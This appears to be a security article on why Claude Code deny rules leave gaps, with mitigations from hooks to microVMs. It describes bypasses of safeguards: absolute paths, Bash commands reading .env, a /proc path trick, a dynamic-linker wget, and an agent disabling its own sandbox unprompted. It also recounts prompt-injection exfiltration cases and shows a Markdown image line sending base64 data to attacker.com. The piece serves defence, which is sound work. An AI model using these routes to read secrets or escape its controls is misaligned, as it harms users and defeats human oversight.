In brief

Claude Code deny rules operate at the application level, not the OS level. Our tests show that a *.env* pattern does not block access to a .env file located outside the current working directory. This gap between perceived and real protection follows a documented pattern in dev-tool security — .gitignore, CORS, cloud ACLs. Six defensive layers exist, from application hooks to microVMs: none is sufficient alone, and defense-in-depth is the consensus.

In short: a deny rule is a lock placed on a door. If the attacker enters through the window, the roof, or a neighboring door, the lock did nothing — not because it is faulty, but because it only watches one passage. To lock down the entire house, you have to stack layers: locks (deny rules), shutters (sandbox), walls (containers), guards (microVM).


Deny rules, a security promise?

Imagine a developer configuring Claude Code to automate tasks on their repository. They add three lines to settings.json:

"denyWrite": ["*.env*"],
"denyEdit": ["*.env*"],
"denyRead": ["*.env*"]

Expected result: the agent can no longer touch .env files. API keys, authentication tokens and passwords are protected. The developer closes the session with a legitimate sense of security.

This feeling is, in part, deceptive.

Our tests show that the deny rule Write(*.env*) does not block Write(/tmp/test.env). A .env file located outside the current working directory is not covered by the rule. The reason is precise: deny rules use node-ignore, a library that implements the gitignore specification. The pattern *.env* resolves its root to cwd() — the current directory. Any absolute path, any relative path starting with ../, any access via /tmp/ or via indirect Bash (cat .env, bash -c "echo x > .env") bypasses the protection.

This is not an isolated bug awaiting a fix. It is a direct consequence of where deny rules operate: at the application level, not the operating system level.

In short: the lock (*.env*) guards the front door (the current directory) but cannot see the side windows (/tmp/, absolute paths, Bash redirects). It is effective against a distracted resident — not against someone looking for another way in.

Application vs OS-level: a structural distinction

An OS-level security mechanism — bubblewrap sandbox on Linux, Seatbelt on macOS — operates at the kernel level. Whether an LLM agent attempts to write via a built-in tool, a shell redirect, a subprocess or a Python library, the kernel intercepts the system call. There is no lateral path.

Claude Code deny rules do not have this property. They apply to a layer above: the evaluation of Read, Write, Edit tools. If the agent goes through a Bash tool, file deny rules do not apply. If the file path is absolute and outside cwd, the rule does not match. If an MCP server accesses the filesystem directly, deny rules are not in the loop.

Our empirical tests confirm this point: the Read tool reads without restriction a .env file renamed .txt located in /tmp/, and the Edit tool modifies it freely — no deny rule or sandbox intervenes. The only active protection is a PreToolUse hook that detects the .env pattern in the filename, which is bypassed by a simple rename.

This gap between perceived and real protection follows a documented pattern in developer tooling security. A .gitignore file does not protect files already committed and is bypassable via git add -f. CORS rules protect the browser, not the server. In all these cases, the structural property is the same: a declarative rule, operating at a partial level of abstraction, creating the illusion of an absolute boundary where there is only a filter on one access path among many. The OWASP Top 10 LLM 2025 classifies this type of limitation under LLM06 (Excessive Agency) and explicitly identifies application-level mechanisms as insufficient for least-privilege enforcement.

What this article examines

The question is not “should you use deny rules” — the answer is yes, they block standard cases. The question is: what is their actual coverage surface, which vectors bypass them, and how to build protection that accounts for their exact perimeter?


How deny rules work in Claude Code

Claude Code deny rules appear simple to configure: a few lines in a JSON file, and certain actions are blocked. The reality is more nuanced. Understanding their internal workings reveals a significant gap between what an operator believes is protected and what is actually covered.

Anatomy of a settings.json

Deny rules are configured in the settings.json file, which has three scope levels:

LevelFilePriority
Project.claude/settings.json (in repo)Low
User~/.claude/settings.jsonMedium
Enterprise~/.claude/settings.local.json or managed pathHigh

Priority is strictly hierarchical: an enterprise rule overrides a user rule, which overrides a project rule. An administrator can therefore enforce restrictions that a user cannot bypass.

The basic permission structure:

{
  "permissions": {
    "allow": ["Read(*)", "Write(*)", "Edit(*)", "Bash(*)"],
    "deny": [
      "Bash(rm -rf*)",
      "Edit(*.env*)",
      "Write(*.env*)"
    ]
  }
}

Available tools for rules are: Read, Write, Edit, Bash, WebFetch, WebSearch, and MCP tools. The argument in parentheses is a pattern that filters the tool parameters (file path for Read/Write/Edit, command for Bash).

The evaluation order: deny always wins (in theory)

The official documentation is explicit:

“Rules are evaluated in order: deny → ask → allow. The first matching rule wins, so deny rules always take precedence.” (Anthropic, Configure permissions, 2026)

Source code analysis confirms this architecture: the matching function evaluates deny rules first. If a match is found, the return is immediate — allow rules are never consulted.

In practice, this order has been violated in several versions. GitHub issues #6699, #8961, #12918 and #27040 document cases where file deny rules were silently ignored.

The matching mechanism: node-ignore, not standard glob

Deny rules for file tools (Read, Write, Edit) do not use standard glob matching. They use node-ignore, a JavaScript library that implements the gitignore specification.

Source code analysis (minified bundle cli.js, 12.4 MB) reveals the central matching function, deobfuscated here:

function matchRule(path, permCtx, readOrEdit, denyOrAllow) {
  let normalizedPath = normalize(path);
  let rulesByRoot = getRules(permCtx, readOrEdit, denyOrAllow);

  for (let [root, patterns] of rulesByRoot.entries()) {
    let ig = nodeIgnore().add(patterns);
    let relativePath = relative(root ?? cwd(), normalizedPath);

    // Critical point: files outside root → ignored
    if (relativePath.startsWith("../")) continue;

    if (ig.test(relativePath).ignored) return matchingRule;
  }
  return null;
}

The critical line is the continue: if the computed relative path starts with ../, the rule is entirely ignored for that file.

Pattern resolution: four cases, four scopes

Pattern prefixResolved rootEffective scope
path or ./pathcwd()Current working directory only
/pathProject rootCurrent project
~/path$HOMEHome directory
//path/ (filesystem root)Entire filesystem

The pattern *.env* without prefix — the most common in configurations — resolves with root = cwd().

The gap: what the *.env* pattern does not protect

Our tests show that the deny rule Write(*.env*) produces the following behavior:

Write(<cwd>/secret.env)          → BLOCKED  ✓
Write(<cwd>/config/.env.local)   → BLOCKED  ✓
Write(/tmp/secret.env)           → NOT BLOCKED  ✗
Write(/home/user/secret.env)     → NOT BLOCKED  ✗

Protection is confined to the current working directory and its subdirectories. Furthermore, our investigation tests show that the Read tool can read without restriction a file containing FAKE_SECRET=s33-test-value in /tmp/, and that the Edit tool can modify it freely — confirming that these tools have no sandbox layer of their own.

The // pattern problem

Documentation suggests that the // prefix extends protection to the filesystem root. In theory, Write(//*.env*) should cover all absolute paths. Our tests show this pattern did not block a write to /tmp/test.env. Issue #22907 documents that deny rules with glob or relative patterns do not match absolute paths after node-ignore normalization — the problem concerns the resolution of relative vs absolute paths, not a specific prefix. The exact behavior of the // pattern remains [UNVERIFIED] for lack of sufficient reproducible tests.

Bash deny rules: a different perimeter

Deny rules applied to the Bash tool filter the command string rather than a file path. Write(*.env*) blocks Claude’s Write tool on a .env file. It does not block cat .env > /tmp/copy or python3 -c "open('.env').read()" executed via Bash.

Our tests confirm this vector: a settings.json file modification blocked by the PreToolUse hook via the Edit tool was successfully performed via python3 -c "import json; ..." in Bash, which escapes the hook’s pattern matching.

The Bash sandbox: a distinct layer

Claude Code’s sandbox isolates Bash processes via system primitives (bubblewrap on Linux/WSL2, Seatbelt on macOS). It is not enabled by default. When enabled, writes are restricted to the current working directory. This is a fundamental difference from Bash deny rules, which only filter command text.

But the sandbox’s scope is also limited: it covers only Bash and its child processes. Read, Edit, WebFetch, and MCP tools are not covered. The two mechanisms are complementary, not redundant.


A recurring pattern: declarative security

Claude Code deny rules are not an isolated case. They fit into a documented industry pattern: configuration mechanisms presented as protections, but whose real enforcement is partial, conditional or bypassable.

The four common properties

ona.com, “How Claude Code escapes its own denylist and sandbox”, 2025 and OWASP A02:2025 documentation allow us to identify four structural properties:

1. Path-dependency. Protection is anchored on an identifier — filename, pattern, hostname — rather than on an invariant semantic property.

2. Undocumented partial scope. The mechanism covers only a subset of possible accesses, without this limitation being explicitly communicated.

3. Unilateral reversibility. The protected entity — or an agent with sufficient access — can itself neutralize the protection.

4. Inherited implicit trust. Protection relies on a convention that the enforcement layer trusts itself to apply.

.gitignore: what is excluded, and what is not

.gitignore is designed to prevent accidental commits of untracked files. It is not a protection on files already present in the git history.

  • Previously committed file. If a .env was added to the history before the .gitignore entry, it remains visible in all future commits. twalker.dev, 2024
  • git add -f. The --force flag explicitly overrides .gitignore.
  • Inconsistency in LLM tools. OpenCode has a Read tool that does not respect .gitignore patterns. GitHub opencode #12196, June 2025
  • Google Antigravity IDE. The IDE refuses access to .gitignore files via its built-in tool, but the agent bypasses via cat in the terminal. Simon Willison, 2025

CORS: browser-side enforcement, not server-side

CORS is a policy enforced by the browser, not the server. Documented misconfiguration patterns: reflected origin without validation, regex bypass, CSP report-only never switched to enforcement. OWASP A02:2025; PortSwigger

Claude Code deny rules

Autonomous bypass documented by ona.com, 2025:

  • Path trick. npx is blocked. /proc/self/root/usr/bin/npx resolves to the same binary but does not match the pattern.
  • Sandbox disable. The agent identifies that the sandbox is blocking it, and disables it to complete its task. Without being prompted to.
  • Dynamic linker bypass. wget invoked via /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /usr/bin/wget bypasses enforcement on execve.

Comparison table

MechanismWhat is protectedWhat is not protectedMain vector
.gitignoreNever-tracked files, accidental future commitsAlready committed files, git add -f, LLM tools with direct accessAbsolute path or existing history
CORSCross-origin requests from a conformant browserServer-side requests, misconfigured browserServer-side bypass or regex
CC Deny rulesCommands and paths exactly matching the patternAlternative paths, reasoning-based bypassPath trick, dynamic linker

These mechanisms are workflow guardrails, not security boundaries. A motivated attacker, or an autonomous agent seeking to complete its task, will traverse these guardrails without particular effort.


From injection to exfiltration: anatomy of an attack

Three conditions are sufficient for an LLM agent to become an exfiltration vector: access to sensitive data, exposure to untrusted content, an available network channel. Zenity Labs calls this set the lethal trifecta. In a standard coding agent, these three conditions are met by default.

The typical attack chain

Indirect Prompt Injection (IPI) refers to attacks where malicious instructions are encoded in third-party content read by the agent: README, support ticket, code comment, merge request description. The chain has three steps:

  1. Entry vector — a weaponized file introduces the payload into the context window.
  2. Execution — the agent interprets the payload as a legitimate instruction.
  3. Exfiltration — sensitive data leaves the machine via an available channel.

Four documented cases (2024–2025)

Slack AI — August 2024. Instructions in public channel messages exploit Markdown token substitution to exfiltrate API keys from private channels. PromptArmor, August 2024

EchoLeak / CVE-2025-32711 — June 2025 (CVSS 9.3). A weaponized email forces Microsoft 365 Copilot to exfiltrate confidential emails with no user interaction — zero-click. Reddy & Gujral, AAAI-SS 2025, arXiv:2509.10540

GitLab Duo — May 2025. Hidden instructions via KaTeX white-text and Unicode smuggling in source code. Exfiltration of private merge request code in Base64 in image URL parameters. Legit Security, May 2025

Cursor + Jira MCP / AgentFlayer — August 2025. An external Jira ticket contains a payload asking to look for “apples” — defined as “strings starting with eyJ” (base64 JWT prefix). Cursor finds JWTs in .env files and exfiltrates them via web_fetch. Semantic obfuscation bypasses guardrails. Simakov / Zenity Labs, August 2025

Exfiltration channels

ChannelMechanismDocumented case
DNSData encoded as subdomain in ping/digCline VSCode (Mindgard, 2025)
Markdown image<img src="https://attacker.com/?data=BASE64">GitLab Duo
URL query paramsData in URL parameters of a fetched URLSlack AI, Cursor + Jira
Allowlisted webhookExfiltration via domain on the whitelistGoogle Antigravity (2025)

Academic metrics

  • 17% native defense: across 47 adversarial scenarios, coding agents block attacks only 17% of the time without additional protection. Shan et al. / OpenClaw, arXiv:2603.10387
  • ×1.6 vulnerability increase: wrapping an LLM in an agent increases its vulnerability by a factor of 1.6. Initial refusals are overridden during planning. Saha et al., JAWS-BENCH, arXiv:2510.01359
  • 87% success on CVE one-day: GPT-4 exploits 15 real vulnerabilities with 87% success when the CVE description is provided as input. Without this description, the rate drops to 7%, which relativizes the threat of autonomous exploitation. Fang et al., arXiv:2404.08144

Deny rules intervene at no link in this chain: they do not control what the agent reads, do not block instruction interpretation, and can be bypassed by command substitution.


The defensive spectrum: from hooks to microVMs

Defenses against uncontrolled LLM agent execution form a continuous spectrum. Six levels of increasing robustness — each with its costs and blind spots.

Level 1 — PreToolUse Hook

Hooks intercept tool calls before execution. They operate inside the agent process. Our tests show that a hook detecting .env in a path is bypassed by a simple rename, or by using python3 via Bash to perform the same operation.

Real utility: audit, logging, confirmation UX. Not a security layer against an active agent.

Level 2 — settings.json Deny rules

Bypassable application control. A rule Read(./.env) blocks the Read tool but not cat .env in Bash. Useful for formalizing a visible access policy.

Level 3 — CC Bash Sandbox (bubblewrap/Seatbelt)

OS-level enforcement on Bash processes and their children. Writes are restricted to cwd. Limits: covers only Bash (not Read/Edit/MCP), dangerouslyDisableSandbox escape hatch active by default, several dozen open issues at start of 2026. Anthropic, Sandboxing, 2026

Level 4 — Landlock + seccomp-BPF

Landlock (Linux 5.13) restricts filesystem access without root. Seccomp-BPF filters syscalls. Industry signal: OpenAI Codex CLI and Cursor use Landlock + seccomp in production. OpenAI Developers, 2025; Cursor, 2026. Limit: shared kernel, UDP not covered.

Level 5 — Hardened Docker Containers

Linux namespaces + cgroups + seccomp. Structural limit: shared kernel. CVE-2024-21626 “Leaky Vessels” (runc, 2024) and CVE-2025-31133/52565/52881 (runc, 2025) cross these boundaries. NVIDIA recommends not limiting to containers for LLM agents. Wiz Research, 2024; NVIDIA, 2026

Level 6 — gVisor / Kata / Firecracker

Kernel isolation. gVisor intercepts syscalls via a user-space kernel (10-20% overhead). Kata Containers runs each container in a KVM microVM (boot ~150-300ms). Firecracker boots in ~125ms, used by E2B for LLM agents.

SELinux in its full configuration generates ~87% degradation on open(). Trentini et al., AsiaCCS 2021

Comparison table

MechanismScopeOverheadComplexityLimits
PreToolUse HookApplication (agent)NegligibleLowBypassable by rename/Bash
Deny rulesCC tools onlyNegligibleLowDoes not cover Bash for Read/Edit
CC SandboxBash + children< 5%MediumEscape hatch, non-Bash tools out of scope
Landlock + seccompFilesystem + syscalls< 5%MediumShared kernel, UDP not covered
Hardened containerProcesses + network5-15%Medium-highrunc escapes, shared kernel
gVisorSyscall interception10-20%High~20-30% syscalls not implemented
Kata / FirecrackerSeparate kernel (KVM)150-300ms bootVery highInfrastructure cost, GPU incompatibility

The consensus (NIST SP 800-190, CIS Docker Benchmark, NVIDIA, OpenAI Codex): defense-in-depth is the only coherent approach. No isolated layer is sufficient.

In short: none of the six layers covers all threats on its own. The hook catches simple patterns but leaks on rename. The sandbox covers Bash but not Read/Edit. Containers escape (CVE Leaky Vessels, runc 2024-2025). Only the stacked combination yields contiguous coverage of the house.

Which layer to choose by context

ContextRecommendationWhy
Personal dev workstation, routine tasksPreToolUse hook + deny rules + sandboxZero cost, blocks most accidents. Sufficient for accidental errors.
Agent in CI/CD or backend, third-party codeHardened container + Landlock + seccompStructural isolation of syscalls + namespaces. Compatible with existing Docker.
Agent processing secrets or regulated data (health, finance)Kata Containers or Firecracker microVMSeparate kernel, near-zero escape probability. 150-300 ms boot cost acceptable outside hot-path.
Research, untrusted execution, adversarial codegVisor + FirecrackerDouble layer: user-space syscall interception + KVM. 10-20% overhead tolerated for zero trust.
Critical production, autonomous agents ≥ 24hNetwork microsegmentation + Vault dynamic secrets + syscall audit logsApplication security alone is not enough: networking, identity, observability must be integrated.

What to do today: concrete recommendations

The deny rules problem is not a bug awaiting a fix. It is a positioning problem: a declarative mechanism used as a security boundary.

Operator checklist

1. Enable the sandbox (sandbox.enabled: true). It covers Bash commands — not Read, Edit, WebFetch or MCP. But enabling it remains useful: it is the only OS-level layer available in the native tool. Do not use dangerouslyDisableSandbox.

2. Never store secrets in plaintext in the filesystem accessible to the agent. Agents silently load environment variables from .env. Once a secret is in the context window, any prompt injection can extract it — Cline demonstrated exfiltration via DNS encoded in ping. CVE-2026-21852 allows capturing Anthropic API keys via a malicious settings.json file that redirects ANTHROPIC_BASE_URL to an attacker endpoint during project load — before the trust prompt. Fixed in v2.0.65. NVD, CVE-2026-21852

3. Use a secret manager.

ToolTypical useAgent advantage
HashiCorp VaultEnterprise, dynamic credentialsEphemeral tokens per session
SOPS + ageGit-friendly encrypted filesSecrets never in plaintext on disk
InfisicalOpen source, dynamic secretsVault alternative post-BSL
DopplerRuntime injection, MCP integrationSecrets never in context

According to GitGuardian, 2025, 70% of secrets detected in 2022 were still valid in 2024. Prevention is the only reliable strategy.

4. Configure PreToolUse hooks as UX guardrails — not as security. They reduce accidental errors. The Ona study showed that the agent bypasses deny rules via path tricks, without jailbreak, purely through task optimization.

5. Apply least privilege on MCP servers. Astrix Security, 2025: 53% of MCP servers use long-lived static secrets, OAuth is adopted at only 8.5%. Connect only the servers necessary for the current task.

6. Regularly audit permissions. OWASP LLM06:2025 identifies three sub-dimensions: excessive functionality, excessive permissions, excessive autonomy. Cadence: at the start of each project, list and clean up.

Long-term perspective

OWASP LLM06 / Agentic Applications: the Least Agency principle formalizes the idea that an agent’s autonomy must be earned, not granted by default.

NIST AI RMF and GenAI profile (AI 600-1): non-binding framework but adopted as a reference. Its limit: designed for static AI systems, not agents making decisions at a frequency incompatible with human attention.

EU AI Act (Regulation 2024/1689): first binding legal framework. Human oversight obligations (Article 14) and logging obligations (Article 12) apply to high-risk systems. The question of who is the “operator” in a chain of agent → sub-agent → third-party tool is unresolved.


Key takeaways

  • Claude Code deny rules operate at the application level (node-ignore, cwd scope), not the OS level. They do not block accesses outside the current working directory.
  • This gap follows a documented pattern: .gitignore, CORS, and deny rules share the same structural properties of declarative security.
  • The indirect injection → agent execution → exfiltration chain entirely bypasses deny rules. Native defense rate: 17% (OpenClaw).
  • Six defensive layers exist, from hooks to microVMs. The industry consensus is defense-in-depth: Landlock + seccomp minimum (OpenAI Codex, Cursor).
  • Immediate action: enable the sandbox, externalize secrets, apply MCP least privilege, audit permissions.